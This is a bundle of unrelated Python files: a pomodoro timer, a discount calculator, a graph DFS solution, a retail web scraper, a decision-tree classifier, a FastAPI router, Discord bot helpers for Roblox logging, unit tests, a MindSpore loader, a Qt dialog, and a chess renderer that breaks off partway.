import os
import sys
import time
from enum import Enum

interval_max = 4

vault_path = ''

class activity:

    def __init__(self, duration, state):
        self.duration = 60 * duration
        self.state = state

class Tracking:

    def __init__(self, now, start, duration, state, interval):
        self.now = now
        self.start = start
        self.duration = duration
        self.state = state
        self.interval = interval

    def __str__(self):
        return str(self)

class status(Enum):
    work_state = 1
    short_break_state = 2
    long_break_state = 3

def main(argv):

    global vault_path

    try:
        if len(argv) != 1 or os.path.exists(argv[1]):
            vault_path = argv[1]
        else:
            print("py main.py <vault path>")
            exit()
    except:
        print("py main.py <vault path>")
        exit()

    work = activity(25, status.work_state)

    short_break = activity(5, status.short_break_state)

    long_break = activity(15, status.long_break_state)

    Pomo = Tracking(work.duration, work.duration, work.duration, work.state, 0)

    DisplayTimer(Pomo, 'x')

    PauseManager()

    while True:

        while Pomo.now != 0:

            PauseManager()

            DisplayTimer(Pomo, ' ')

            Pomo.now -= 1

            time.sleep(1)

        if Pomo.state == status.work_state:
            Pomo.interval += 1

        if Pomo.state != status.work_state:
            ConfigNewInterval(work, Pomo)
            DisplayTimer(Pomo, 'x')

        elif Pomo.interval < interval_max and Pomo.state == status.work_state:
            ConfigNewInterval(short_break, Pomo)
            DisplayTimer(Pomo, 'x')

        elif Pomo.interval == interval_max and Pomo.state == status.work_state:

            ConfigNewInterval(long_break, Pomo)
            DisplayTimer(Pomo, 'x')
            Pomo.interval = 0

        while True:
            lines = ReadFileLines()
            if len(lines) == 0 or lines[3] == ' - [ ] -- Start/Pause':
                break

def ConfigNewInterval(activity, Pomo):
    Pomo.state = activity.state

    Pomo.start = activity.duration
    Pomo.now = activity.duration

def GetStateString(state):
    if state == status.work_state:
        return 'Work'
    if state == status.short_break_state:
        return 'Short Break'
    if state == status.long_break_state:
        return 'Long Break'

def SecsToPrettyString(time):
    mins, secs = divmod(time, 60)
    return '{:02d}:{:02d}'.format(mins, secs)

def ReadFileLines():
    while True:
        try:
            file = open(vault_path+"\\Obsidoro.md", 'r', encoding="utf-8")
            break
        except:
            pass

    lines = file.readlines()

    file.close()

    return lines

def WriteFile(data):
    while True:
        try:
            file = open(vault_path+"\\Obsidoro.md", 'w', encoding="utf-8")
            break
        except:
            pass

    file.write(data)

    file.close()

def PauseManager():
    lines = ReadFileLines()

    if len(lines) == 0 or lines[3] == ' - [x] -- Start/Pause':

        while True:

            lines = ReadFileLines()

            if len(lines) == 0 or lines[3] == ' - [ ] -- Start/Pause':
                break

def DisplayTimer(Pomo, tickbox):

    table = '|Status| Total Time| Time Left| Intervals|\n' \
            '|:-:|:-:|:-:|:-:|\n' \
            '|{}|{}|{}|{}|\n'.format(GetStateString(Pomo.state),
                                     SecsToPrettyString(Pomo.start),
                                     SecsToPrettyString(Pomo.now), Pomo.interval)

    start_button = ' - [{}] -- Start/Pause'.format(tickbox)

    new_file_data = table + start_button

    WriteFile(new_file_data)

if __name__ == '__main__':
    main(sys.argv)


from Domain.vanzare2 import get_id, get_titlu, get_gen, get_pret, get_reducere, creeaza_vanzare
from Logic.crud import update

# 4.2
# Aplicarea unui discount de `5%` pentru toate reducerile silver si `10%` pentru toate reducerile gold.

def add_silver_discount(pret: float) -> float:
    """
    Returneaza pretul dupa ce a fost aplicat un dicount de 5% (discount de tip silver)
    :param pret:pret initial
    :return: pretul dupa ce a fost aplicat un dicount de 5% (discount de tip silver)
    """
    if pret <= 0:
        raise ValueError('Cartea trebuie sa aiba un pret pozitiv!')

    discount = 5 * pret / 100
    return pret - discount

def add_gold_discount(pret: float) -> float:
    """
    Returneaza pretul dupa ce a fost aplicat un discount de 10% (discount de tip gold)
    :param pret:pret initial
    :return: pretul dupa ce a fost aplicat un discount de 10% (discount de tip gold)
    """
    if pret <= 0:
        raise ValueError('Cartea trebuie sa aiba un pret pozitiv!')

    discount = 10 * pret / 100
    return pret - discount

def add_discount(vanzari: list):
    """
    Adauga un discount de 5% reduccerilor de tip silver, si unul de 10% reducerilor de tip gold,
    returnand o lista cu noile preturi dupa aplicarea discountului.
    :param vanzari: lista de vanzari, ce contine preturile initiale ale cartilor, precum si restul datelor acestora
    :return: o noua lista, ce contine preturile modificate dupa reducere ale cartilor, cat si restul datelor
            ale acestora
    """
    if len(vanzari) == 0:
        raise ValueError("Lista nu poate fi goala!")

    for vanzare in vanzari:

        id_vanzare = get_id(vanzare)
        titlu_carte = get_titlu(vanzare)
        gen_carte = get_gen(vanzare)
        pret_nou = get_pret(vanzare)
        tip_reducere_client = get_reducere(vanzare)

        if tip_reducere_client == 'silver':
            pret_nou = add_silver_discount(pret_nou)
            creeaza_vanzare1 = creeaza_vanzare(id_vanzare, titlu_carte, gen_carte, pret_nou, tip_reducere_client)
            vanzari = update(vanzari, creeaza_vanzare1)

        elif tip_reducere_client == 'gold':
            pret_nou = add_gold_discount(pret_nou)
            creeaza_vanzare1 = creeaza_vanzare(id_vanzare, titlu_carte, gen_carte, pret_nou, tip_reducere_client)
            vanzari = update(vanzari, creeaza_vanzare1)

    return vanzari


# https://www.acmicpc.net/problem/2606

def dfs(idx):
    global graph, visited, answer
    visited[idx] = True
    answer += 1

    for i in range(1, N + 1):
        if not visited[i] and graph[idx][i]:
            dfs(i)

# 0. 입력 및 초기화
N = int(input())
M = int(input())

graph = [[False] * (N + 1) for _ in range(N + 1)]
visited = [False] * (N + 1)
answer = 0

# 1. graph에 연결 정보 채우기
for _ in range(M):
    x, y = map(int, input().split())
    graph[x][y] = True
    graph[y][x] = True

# 2. dfs(재귀함수) 호출
dfs(1)

# 3. 출력
print(answer - 1)


# import libraries
import time
import pandas as pd
from rich import print as rprint
from rich.pretty import pprint
from rich.progress import Progress
import re
from rich.progress import track
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
# ------------------------------------------------------------------
# TODO: functions
# ------------------------------------------------------------------

# This function search each element of the document DOM

def findElementTextBySelector(selector, exception):
    try:
        element = i.find_element(
            By.CSS_SELECTOR, selector).text.strip().upper()
    except:
        element = exception
    return element

def findElementNumberBySelector(selector, exception):
    try:
        element = i.find_element(
            By.CSS_SELECTOR, selector).text.replace('$', '')
        element = "".join([ch for ch in element if ch.isdigit()])
    except:
        element = exception
    return element

# Function Beatiful View

def process_data():
    time.sleep(0.02)

# ----------------------------------------------------------------
# TODO: add support for the WebDriver
# ----------------------------------------------------------------

# Bar progress -> comment
for _ in track(range(100), description='[green]Iniciando Scraping Almacenes EXITO'):
    process_data()
# Initialized by selenium driver
driver = webdriver.Firefox()
driver.maximize_window()
# Categories of brands that should be considered for search results
categories = ['whisky', 'vino', 'cervezas', 'tequilas-y-piscos', 'ron']

# ----------------------------------------------------------------
driver.get("https://www.exito.com/")

time.sleep(10)

# Slect City
open_modal = driver.find_element(
    By.XPATH, "//span[@class='exito-geolocation-3-x-addressResult']")
open_modal.click()
time.sleep(5)

select_geo = driver.find_element(
    By.XPATH, "//div[@class='exito-geolocation-3-x-contentOrderOption flex']//div[1]")
select_geo.click()
time.sleep(2)

select_modal = driver.find_element(
    By.CSS_SELECTOR, ".exito-geolocation-3-x-orderOptionsButton.orderoption-compra-recoge")
select_modal.click()
time.sleep(2)

select_city = driver.find_element(
    By.CSS_SELECTOR, ".exito-geolocation-3-x-cssUnderline.shippingaddress-lista-ciudad.w-100")
select_city.click()
time.sleep(2)

select_city_bog = driver.find_element(
    By.XPATH, "//div[@id='react-select-2-option-0']")
select_city_bog.click()
time.sleep(2)

select_address = driver.find_element(
    By.CSS_SELECTOR, ".buycollect-lista-almacen.exito-geolocation-3-x-listaAlmacen")
select_address.click()
time.sleep(2)

select_modal2 = driver.find_element(
    By.XPATH, "//div[@id='react-select-4-option-0']")
select_modal2.click()
time.sleep(2)

select_modal2 = driver.find_element(
    By.XPATH, "//button[normalize-space()='Confirmar']")
select_modal2.click()
time.sleep(10)

# ----------------------------------------------------------------

# PASS

# ----------------------------------------------------------------

select_menu = driver.find_element(
    By.ID, "category-menu")
select_menu.click()
time.sleep(15)

select_mercado = driver.find_element(
    By.ID, "undefined-nivel2-Mercado")
select_mercado.click()
time.sleep(10)

select_menu_whisky = driver.find_element(
    By.XPATH, "//p[@id='Categorías-nivel3-Whisky, ron, brandy y coñac']")
select_menu_whisky.click()

# sleep for a few seconds before loading the page
time.sleep(5)

driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
time.sleep(3)
# class vtex button load more
initial_XPATH = "//div[contains(@class,'vtex-button__label flex items-center justify-center h-100 ph5')]"
# define the max clicks for page
max_click_SHOW_MORE = 20
# count the number of clicks

count = 1
while count <= max_click_SHOW_MORE:
    try:
        WebDriverWait(driver, 30).until(
            EC.visibility_of_element_located((By.XPATH, initial_XPATH))).click()
        time.sleep(2)
        WebDriverWait(driver, 20).until(
            EC.element_to_be_clickable((By.XPATH, initial_XPATH))).click()
        count += 1
        time.sleep(10)
    except TimeoutException:
        break

print("Continue......")

items = driver.find_elements(
    By.CSS_SELECTOR,  ".vtex-product-summary-2-x-element.pointer.pt3.pb4.flex.flex-column.h-100")

data_exito = []

for i in items:
    try:
        name = i.find_element(
            By.CSS_SELECTOR, ".vtex-store-components-3-x-productNameContainer.mv0.t-heading-4").text.strip().upper()
    except:
        name = "SIN DESCRIPCION"
    print(name)

print("Exit......")

# select_menu_whisky = driver.find_element(
#     By.CSS_SELECTOR, ".exito-filters-0-x-filterItem.exito-filters-0-x-filterItem--new-layout-filters.exito-filters-0-x-filterItem--whisky.exito-filters-0-x-filterItem--new-layout-filters--whisky.lh-copy.w-100")
# select_menu_whisky.click()
# time.sleep(2)
# select_cat_lic = driver.find_element(
#     By.XPATH, "//strong[@id='Categorías-nivel2-Licores']")
# select_cat_lic.click()
# time.sleep(5)

# select_b_menu = driver.find_element(
#     By.CSS_SELECTOR, ".exito-filters-0-x-filter__container.exito-filters-0-x-filter__container--new-layout-filters.bb.b--muted-4.exito-filters-0-x-filter__container--category-3")
# select_b_menu.click()
# time.sleep(10)


import pandas as pd
import math
from operator import itemgetter
import random
import matplotlib.pyplot as plt
import numpy as np

# Read in data
data = pd.read_csv('house_votes_84.csv')

# Shuffles the rows of the normalized data and returns a tuple with a training set and a test set in that order
def train_test_split():
    data_sample = data.sample(frac=1)
    return (data_sample.iloc[:348], data_sample.iloc[348:])

# Given a subset of the data, calculate the entropy
def calculate_entropy(subset):

    num_Democrats = 0
    num_Republicans = 0

    # Case where a size-1 dataframe is automatically converted to a list
    if type(subset) == list:
        for instance in subset:
            if instance == 0:
                num_Democrats += 1
            else:
                num_Republicans += 1
    else:
        for instance in subset['target']:
            if instance == 0:
                num_Democrats += 1
            else:
                num_Republicans += 1

    # Cases for if either class has 0 entries in the subset to avoid log domain error
    if num_Democrats == 0 and num_Republicans == 0:
        return 0
    elif num_Democrats == 0:
        return - (num_Republicans/len(subset) * math.log2(num_Republicans/len(subset)))
    elif num_Republicans == 0:
        return - (num_Democrats/len(subset) * math.log2(num_Democrats/len(subset)))

    return -(num_Democrats/len(subset) * math.log2(num_Democrats/len(subset))) - (num_Republicans/len(subset) * math.log2(num_Republicans/len(subset)))

# Given a subset of data and the partitions made by splitting on an attribute, return the information gain of that split
# This is used to find the best attribute to split the decision tree on
def calculate_information_gain(subset, partitions):

    partitions_size = sum(len(p) for p in partitions)
    entropies = []
    information = 0

    for partition in partitions:
        entropies.append(calculate_entropy(partition))

    for i in range(len(entropies)):
        information += entropies[i] * (len(partitions[i])/partitions_size)

    return calculate_entropy(subset) - information

# This node class is used during training to split on attributes and create the tree
class tree_node():

    def __init__(self):
        self.label = ''
        self.split_attribute = ''
        self.partitions = []
        self.children = [] # Array of tuples, the first value being the child node itself, and the second being the attribute value that leads to the node
        self.is_leaf = False
        self.attr_branch = 9
        self.parent = ''

    # Finds the best attribute to split on during a step in training
    def find_best_split(self, subset, attribute_list):

        criterion_vals = []

        for attr in attribute_list:
            yea_list = []
            nay_list = []
            no_vote_list = []
            for instance in subset.iterrows():
                if instance[1][attr] == 0:
                    no_vote_list.append(instance[1]['target'])
                if instance[1][attr] == 1:
                    nay_list.append(instance[1]['target'])
                if instance[1][attr] == 2:
                    yea_list.append(instance[1]['target'])

            criterion_vals.append( ( attr, calculate_information_gain(subset, [no_vote_list, nay_list, yea_list]) ) )
            self.split_attribute = max(criterion_vals, key=itemgetter(1))[0]

        return self.split_attribute

# Given a new tree node, train the tree to be used for predictions
def train_tree(dataset, root):

    attribute_list = data.columns.to_list()[:16]

    # The recursive call of the function must be separated to reset the attribute list every time train_tree is used
    def train_tree_recur(dataset, root, attr_list):

        # Find the majority class in dataset for use in creating leaf nodes
        majority_class = ''
        num_Democrats = 0
        num_Republicans = 0
        for instance in dataset['target']:
            if instance == 0:
                num_Democrats += 1
            else:
                num_Republicans += 1
            if num_Democrats > num_Republicans:
                majority_class = 0
            elif num_Republicans > num_Democrats:
                majority_class = 1
            else:
                tie_breaker = random.randint(0, 1)
                if tie_breaker == 0:
                    majority_class = 0
                else:
                    majority_class = 1

        # Stopping Criteria

        # Stop if 75% or more of the current partition belongs to one class, and set the label as that class
        if num_Democrats > .75 * len(dataset.index):
            root.label = 0
            root.is_leaf = True
            return root
        elif num_Republicans > .75 * len(dataset.index):
            root.label = 1
            root.is_leaf = True
            return root

        # Stop if there are no more attributes left to test, and set the label as the current majority class
        if len(attr_list) == 0:
            root.label = majority_class
            root.is_leaf = True
            return root

        # Select best attribute to split and remove it from the list
        best_attr = root.find_best_split(dataset, attr_list)
        attr_list.remove(best_attr)

        # Create the partitions based on the best split attribute
        yea_partition = []
        nay_partition = []
        no_vote_partition = []

        for i in range(dataset[best_attr].size):
            if dataset[best_attr].values[i] == 0:
                no_vote_partition.append(dataset.iloc[i])
            elif dataset[best_attr].values[i] == 1:
                nay_partition.append(dataset.iloc[i])
            else:
                yea_partition.append(dataset.iloc[i])

        # Convert partition lists to dataframes for further operations
        yea_partition = pd.DataFrame(yea_partition)
        nay_partition = pd.DataFrame(nay_partition)
        no_vote_partition = pd.DataFrame(no_vote_partition)

        # Create leaf nodes and subtrees based on above partitions
        if len(yea_partition) == 0:
            yea_leaf = tree_node()
            yea_leaf.label = majority_class
            yea_leaf.is_leaf = True
            yea_leaf.attr_branch = 2
            root.children.append(yea_leaf)
        else:
            yea_child = train_tree_recur(yea_partition, tree_node(), attr_list)
            yea_child.attr_branch = 2
            root.children.append(yea_child)

        if len(nay_partition) == 0:
            nay_leaf = tree_node()
            nay_leaf.label = majority_class
            nay_leaf.is_leaf = True
            nay_leaf.attr_branch = 1
            root.children.append(nay_leaf)
        else:
            nay_child = train_tree_recur(nay_partition, tree_node(), attr_list)
            nay_child.attr_branch = 1
            root.children.append(nay_child)

        if len(no_vote_partition) == 0:
            no_vote_leaf = tree_node()
            no_vote_leaf.label = majority_class
            no_vote_leaf.is_leaf = True
            no_vote_leaf.attr_branch = 0
            root.children.append(no_vote_leaf)
        else:
            no_vote_child = train_tree_recur(no_vote_partition, tree_node(), attr_list)
            no_vote_child.attr_branch = 0
            root.children.append(no_vote_child)

        return root

    return train_tree_recur(dataset, root, attribute_list)

# Trains a tree with training data and uses it to classify test data
def make_predictions(training_set, test_set):

    predicted_classes = [] # Stores the final predictions of each instance as a tuple containing the indices and the predicted classes
    cur_node = train_tree(training_set, tree_node())

    for instance in test_set.iterrows():
        while True:
            if cur_node.is_leaf:
                predicted_classes.append((instance[0], cur_node.label))
                while cur_node.parent != '':
                    cur_node = cur_node.parent
                break
            else:
                # Go down the tree based on the best attribute
                attr_val = instance[1][cur_node.split_attribute] # The value of the attribut to split on
                for child in cur_node.children:
                    if child.attr_branch == attr_val:
                        child.parent = cur_node
                        cur_node = child

    assert(len(predicted_classes) == len(test_set.index)) # Check that the number of predictions made is equal to the number of rows in the test set

    return predicted_classes

# Computes how accurate the prediction algorithm is by training it on the training_set and testing it on the test_set
def compute_accuracy(training_set, test_set):
    number_correct = 0
    predictions = make_predictions(training_set, test_set)

    for i in range(len(predictions)):
        if test_set.iloc[i][16] == predictions[i][1]:
            number_correct += 1

    return number_correct / len(predictions)

# Creates 50 train-test splits, trains the data using the training data, and tests it on the test data
# The accuracies of each of these 50 trials are graphed and stored
def get_results():
    accuracies = []

    for i in range(50):
        train, test = train_test_split()
        accuracies.append(compute_accuracy(train, test))

    plt.plot(range(1, 51), accuracies)
    plt.xlabel("Trial Run Number")
    plt.ylabel("Accuracy")
    plt.title("Accuracies for 50 Trial Runs")
    plt.savefig("Plots/test_run_accuracies")
    plt.clf()

get_results()


from typing import List

from fastapi import APIRouter, Depends, HTTPException
from odmantic import ObjectId

from ..db.events import add_events, get_event_by_id, get_events, mark_event_processed
from ..models.event import Event, EventFilters, EventInput, EventOutput, EventsOutput
from .custom_routers import DeepLoggerRoute, LightLoggerRoute

deep_logger_router = APIRouter(route_class=DeepLoggerRoute)
light_logger_router = APIRouter(route_class=LightLoggerRoute)

@light_logger_router.get("/events", response_model=EventsOutput)
async def list_events(filters: EventFilters = Depends()) -> EventsOutput:
    return await get_events(filters=filters)

@deep_logger_router.put("/events", response_model=List[EventOutput])
async def add_event(event: EventInput) -> List[Event]:
    if not event.camera_number:
        camera_numbers = []
    else:
        camera_numbers = [event.camera_number]
    return await add_events(
        event.event_type, event.message, camera_numbers=camera_numbers
    )

@deep_logger_router.patch("/events/{id}", response_model=EventOutput)
async def process_event(id: ObjectId) -> Event:
    return await mark_event_processed(id)

@light_logger_router.get("/events/{id}", response_model=EventOutput)
async def get_event(id: ObjectId) -> Event:
    event = await get_event_by_id(id)
    if not event:
        raise HTTPException(404, f"Ивент с id={id} не найден!")

    return event


import logging
import sys

__title__ = 'ebs_snapper'
__version__ = '0.10.6'
__license__ = 'Apache 2.0'
__copyright__ = 'Copyright Rackspace US, Inc. 2015-2017'
__url__ = 'https://github.com/rackerlabs/ebs-snapper-lambda-v2'

LOG = logging.getLogger()
AWS_MOCK_ACCOUNT = '123456789012'

def timeout_check(context, place):
    """Return True if we have less than 1 minute remaining"""

    remaining = context.get_remaining_time_in_millis()
    if remaining < 60000:  # 1 minute
        LOG.warn('Lambda/Less than 1m remaining in function (%sms): %s',
                 str(remaining),
                 place)
        return True

    return False

class EbsSnapperError(Exception):
    """Custom exception for nicer error messages"""
    def __init__(self, msg, other):
        self.traceback = sys.exc_info()
        new_msg = '{}: {}'.format(msg, other.message)
        super(EbsSnapperError, self).__init__(new_msg)


# Helpful functions for the discord bot

from typing import Any

import discord
import requests
from discord.ext.commands import context

import src.DiscordBot.discordBot
from src.SQLServer.gameManager import get_log_channel_id
from src.SQLServer.modelManager import is_model_logged, log_model

# Checks if a guild exists
async def does_guild_exist(guild_id: str, discord_client: discord.Client) -> bool:
    try:
        await discord_client.fetch_guild(int(guild_id))
    except discord.errors.Forbidden:
        return False

    return True

# Used by handle_prompt, ensures a sent message is a proper response to the prompt sent
def prompt_check(message_data: dict[str, Any], ctx: context) -> bool:
    return ctx.author.id == message_data["author"].id and ctx.channel == message_data["channel"]

# Returns the appropriate channel(s) for a given place
def get_logging_channels(guild_id: str) -> tuple[bool, str]:
    retrieve_success, log_id = get_log_channel_id(guild_id, True, False)

    if retrieve_success:
        return True, log_id

    return False, ""

# Takes a specified list of questions and prompts them to the user, returns the user's answers to the questions
async def handle_prompt(prompts: list[str], message_data: dict[str, Any]) -> list[str]:
    responses = []

    for prompt in prompts:
        await message_data["send message"](prompt)
        response_message_object = await message_data["discord_client"].wait_for("message",
                                                                                check=lambda ctx: prompt_check(
                                                                                message_data, ctx))
        responses.append(response_message_object.content)

    return responses

# Adds a game log message to the queue
def queue_game_logging_message(channel_id: str, place_details: dict[str, Any], job_id: str) -> bool:
    embed_success, message_dictionary = generate_place_logging_dictionary(place_details, job_id)

    if embed_success:
        # channels = get_logging_channels(channel_id)

        src.DiscordBot.discordBot.message_queue.put([channel_id, message_dictionary])

        return True
    else:
        print(f"Failed generating log embeds for {place_details['name']}")

    return False

# Adds a game log message to the queue
def queue_spam_logging_message(channel_id: str, client_address: str, job_id: str) -> bool:
    embed_success, message_dictionary = generate_spam_logging_dictionary(client_address, job_id)

    if embed_success:
        # channels = get_logging_channels(channel_id)

        src.DiscordBot.discordBot.message_queue.put([channel_id, message_dictionary])

        return True
    else:
        print(f"Failed generating spam embeds")

    return False

# Adds a model log message to the queue
def queue_model_logging_message(guild_id: str, model_info: dict) -> bool:
    channel_id = get_logging_channels(guild_id)

    download_response = requests.get(f"https://assetdelivery.roblox.com/v1/assetId/{model_info['id']}")
    download_json = download_response.json()

    if "location" not in download_json.keys():
        return False

    download_link = download_json["location"]
    embed_success, message_dictionary = generate_model_logging_dictionary(model_info, download_link)

    if embed_success and not is_model_logged(model_info["id"]):
        log_model(model_info["id"], model_info["name"])

        src.DiscordBot.discordBot.message_queue.put([channel_id, message_dictionary])
        return True

    return False

# Adds a script log message to the queue
def queue_script_logging_message(guild_id: str, place_details: dict[str, Any], job_id: str, script_source: str,
                                 roblox_user_id: int, roblox_username: str) -> bool:
    channel_id = get_logging_channels(guild_id)
    embed_success, message_dictionary = generate_script_logging_dictionary(place_details, job_id, script_source,
                                                                           roblox_user_id, roblox_username)

    if embed_success:
        src.DiscordBot.discordBot.message_queue.put([channel_id, message_dictionary])
        return True
    else:
        print(f"Failed generating script log embeds for {place_details['name']}")

    return False

# Creates and returns the embeds for a place log message
def generate_place_logging_dictionary(game_data: dict[str, Any], job_id: str) -> tuple[bool, Any]:
    try:
        embed = discord.Embed(title=game_data["name"], colour=discord.Colour(0xdf5dff),
                              url=f"https://www.roblox.com/games/{str(game_data['rootPlaceId'])}/")

        embed.set_image(
            url=f"https://www.roblox.com/asset-thumbnail/image?assetId={str(game_data['rootPlaceId'])}"
                f"&width=768&height=432&format=png")
        embed.set_author(name="Renos - HTTP")
        embed.set_footer(text="made by yours truly")

        embed.add_field(name="Players", value="{:,}".format(game_data["playing"]), inline=True)
        embed.add_field(name="Visits", value="{:,}".format(game_data["visits"]), inline=True)
        embed.add_field(name="Max Players", value=game_data["maxPlayers"], inline=True)
        embed.add_field(name="Place ID", value=game_data["rootPlaceId"], inline=True)
        embed.add_field(name="Game URL", value=f"https://www.roblox.com/games/{str(game_data['rootPlaceId'])}/",
                        inline=True)
        embed.add_field(name="Job ID", value=job_id, inline=True)

        return True, {"embed": embed}
    except (discord.errors.HTTPException, KeyError):
        print(f"oh no! {game_data['name']} had an error!")
        return False, []

# Creates and returns the embeds for a spam log message
def generate_spam_logging_dictionary(client_address: str, job_id: str) -> tuple[bool, Any]:
    try:
        embed = discord.Embed(title="Spam Request Hijacked", colour=discord.Colour(0xdf5dff))

        embed.set_author(name="Renos - Spam")
        embed.set_footer(text="made by yours truly")

        embed.add_field(name="Client Address", value=client_address, inline=True)
        embed.add_field(name="Job ID", value=job_id, inline=True)

        return True, {"embed": embed}
    except (discord.errors.HTTPException, KeyError):
        return False, []

# Creates and returns the embeds for a model log message
def generate_model_logging_dictionary(model_info: dict, download_link: str) -> tuple[bool, dict]:
    embed = discord.Embed(title="Typhoon Model Logger", colour=discord.Colour(0xffe485))

    embed.set_thumbnail(url=model_info["thumbnail_url"])

    embed.add_field(name="Name", value=model_info["name"], inline=False)
    embed.add_field(name="Description",
                    value=model_info["description"][:100] if model_info["description"] != "" else "None", inline=False)
    embed.add_field(name="Creator", value=f"[{model_info['creator_name']}]({model_info['creator_url']})")
    embed.add_field(name="Download Link", value=download_link, inline=False)
    embed.add_field(name="Asset Link", value=model_info["asset_url"], inline=False)

    return True, {"embed": embed}

# Creates and returns the embeds for a script log message
def generate_script_logging_dictionary(game_data: dict[str, Any], job_id: str, script_source: str, roblox_user_id: int,
                                       roblox_username: str) -> tuple[bool, Any]:
    # The threshold for whether or not the script source is included in the embed or a separate file is 500
    requires_file_for_script = len(script_source) >= 500

    try:
        embed = discord.Embed(title="typhon", colour=discord.Colour(0x9013fe), description="script logged!\n\n** **")

        embed.set_image(
            url=f"https://www.roblox.com/asset-thumbnail/image?assetId={str(game_data['rootPlaceId'])}"
                f"&width=768&height=432&format=png")
        embed.set_footer(text="typhon script logger")

        embed.add_field(name="game", value=f"https://www.roblox.com/games/{str(game_data['rootPlaceId'])}/",
                        inline=True)
        embed.add_field(name="executor name", value=roblox_username, inline=True)
        embed.add_field(name="executor id", value=str(roblox_user_id), inline=True)
        if not requires_file_for_script:
            embed.add_field(name="script source", value=f"```lua\n{script_source}\n```", inline=True)
        else:
            embed.add_field(name="script source", value="see attached file", inline=True)
            with open(r"source.lua", "w") as script_file:
                script_file.write(f"--Script generated courtesy of Renos Webhook Security\n\n {script_source}")

        embed.add_field(name="job id", value=job_id, inline=True)

        if not requires_file_for_script:
            dictionary = {"embed": embed}
        else:
            dictionary = {"embed": embed, "file": discord.File("source.lua")}

        return True, dictionary
    except (discord.errors.HTTPException, KeyError):
        print(f"oh no! {game_data['name']} had an error!")
        return False, []


from datetime import datetime
from decimal import Decimal
from unittest import TestCase
from uuid import uuid4

from chalicelib.models import (
    Account,
    Transaction,
    TransactionSummary,
    TransactionSummaryByMonth,
)

class TestTransaction(TestCase):
    @classmethod
    def setUpClass(cls):
        cls.transactions = [
            Transaction(id=0, date=datetime(2023, 7, 15), amount=Decimal("60.5")),
            Transaction(id=1, date=datetime(2023, 7, 28), amount=Decimal("-10.3")),
            Transaction(id=2, date=datetime(2023, 8, 2), amount=Decimal("-20.46")),
            Transaction(id=3, date=datetime(2023, 8, 13), amount=Decimal("10")),
        ]
        cls.account = Account(id=uuid4(), transactions=cls.transactions)

    def test_summary(self):
        summary_expected = TransactionSummary(
            total=4,
            balance=Decimal("39.74"),
            average_credit=Decimal("35.25"),
            average_debit=Decimal("-15.38"),
        )
        self.assertEqual(self.account.get_summary(), summary_expected)

    def test_summary_by_month(self):
        summary_expected = TransactionSummaryByMonth(
            total=2,
            balance=Decimal("50.2"),
            average_credit=Decimal("60.50"),
            average_debit=Decimal("-10.30"),
            month=7,
        )
        self.assertEqual(self.account.get_summary_by_month(7), summary_expected)


"""Dataset Loader"""

from .transforms import transforms_imagenet_train, transforms_imagenet_eval

import mindspore as ms
import mindspore.dataset.vision as vision
import mindspore.dataset.transforms as transforms

def create_loader(
        dataset,
        batch_size,
        drop_remainder=False,
        is_training=False,
        mixup=0.0,
        num_classes=1000,
        transform=None,
        num_parallel_workers=None,
        python_multiprocessing=False,
        **kwargs
):
    if transform is None:
        if is_training:
            transform = transforms_imagenet_train(**kwargs)
        else:
            transform = transforms_imagenet_eval(**kwargs)
    else:
        transform = transform

    dataset = dataset.map(operations=transform,
                          input_columns='image',
                          num_parallel_workers=num_parallel_workers,
                          python_multiprocessing=python_multiprocessing)

    target_transform = transforms.TypeCast(ms.int32)
    dataset = dataset.map(operations=target_transform,
                          input_columns='label',
                          num_parallel_workers=num_parallel_workers,
                          python_multiprocessing=python_multiprocessing)
    if is_training and mixup > 0:
        one_hot_encode = transforms.OneHot(num_classes)
        dataset = dataset.map(operations=one_hot_encode, input_columns=["label"])

    dataset = dataset.batch(batch_size=batch_size, drop_remainder=drop_remainder)

    if is_training and mixup > 0:
        trans_mixup = vision.MixUpBatch(alpha=mixup)
        dataset = dataset.map(input_columns=["image", "label"], num_parallel_workers=num_parallel_workers,
                              operations=trans_mixup)

    return dataset


from PySide6.QtCore import Qt, Slot
from PySide6.QtWidgets import QDialog, QFormLayout, QLabel, QPlainTextEdit, QDialogButtonBox

class SetDescriptionDialog(QDialog):
    """Dialog for setting a description for a project."""

    def __init__(self, toolbox, project):
        """

        Args:
            toolbox (ToolboxUI): QMainWindow instance
            project (SpineToolboxProject)
        """
        super().__init__(parent=toolbox, f=Qt.Popup)
        self._project = project
        self._toolbox = toolbox
        layout = QFormLayout(self)
        self._name_label = QLabel(self)
        self._name_label.setText(self._project.name)
        self._description_te = QPlainTextEdit(self)
        self._description_te.setPlainText(self._project.description)
        button_box = QDialogButtonBox(self)
        button_box.setStandardButtons(QDialogButtonBox.StandardButton.Cancel | QDialogButtonBox.StandardButton.Ok)
        layout.addRow("Project name", self._name_label)
        layout.addRow("Description", self._description_te)
        layout.addRow(button_box)
        button_box.accepted.connect(self.accept)
        button_box.rejected.connect(self.reject)
        self._ok_button = button_box.button(QDialogButtonBox.StandardButton.Ok)
        self._ok_button.setEnabled(False)
        self._description_te.textChanged.connect(self._set_ok_enabled)
        self.setAttribute(Qt.WA_DeleteOnClose)

    @property
    def description(self):
        return self._description_te.toPlainText().strip()

    @Slot()
    def _set_ok_enabled(self):
        self._ok_button.setEnabled(self.description != self._project.description)

    def accept(self):
        super().accept()
        self._project.call_set_description(self.description)


from chess.helpers import inverse

def create_empty_field():
    return {
        1: {
            'A': '♜',
            'B': '♞',
            'C': '♝',
            'D': '♛',
            'E': '♚',
            'F': '♝',
            'G': '♞',
            'H': '♜',
        },
        2: {
            'A': '♟',
            'B': '♟',
            'C': '♟',
            'D': '♟',
            'E': '♟',
            'F': '♟',
            'G': '♟',
            'H': '♟',
        },
        7: {
            'A': '♙',
            'B': '♙',
            'C': '♙',
            'D': '♙',
            'E': '♙',
            'F': '♙',
            'G': '♙',
            'H': '♙',
        },
        8: {
            'A': '♖',
            'B': '♘',
            'C': '♗',
            'D': '♕',
            'E': '♔',
            'F': '♗',
            'G': '♘',
            'H': '♖',
        }
    }

def find_in_field(i, j, field):
    try:
        return field[i][j]
    except:
        return ' '

def render(field, fallen):
    l = '  '
    for c in 'ABCDEFGH':
        l += '  ' + c + '  '

    print(l)

    white_fallen = len(fallen.get('white'))
    black_fallen = len(fallen.get('black'))

    for i in list(range(1, 9))[-1::-1]:
        divider = '  ' + '-----' * 8 + '-'

        if i == 3 or i == 5:
            divider += '-----------------'

        if i == 2:
            divider += ' Fallen whites ↓'
        if i == 6:
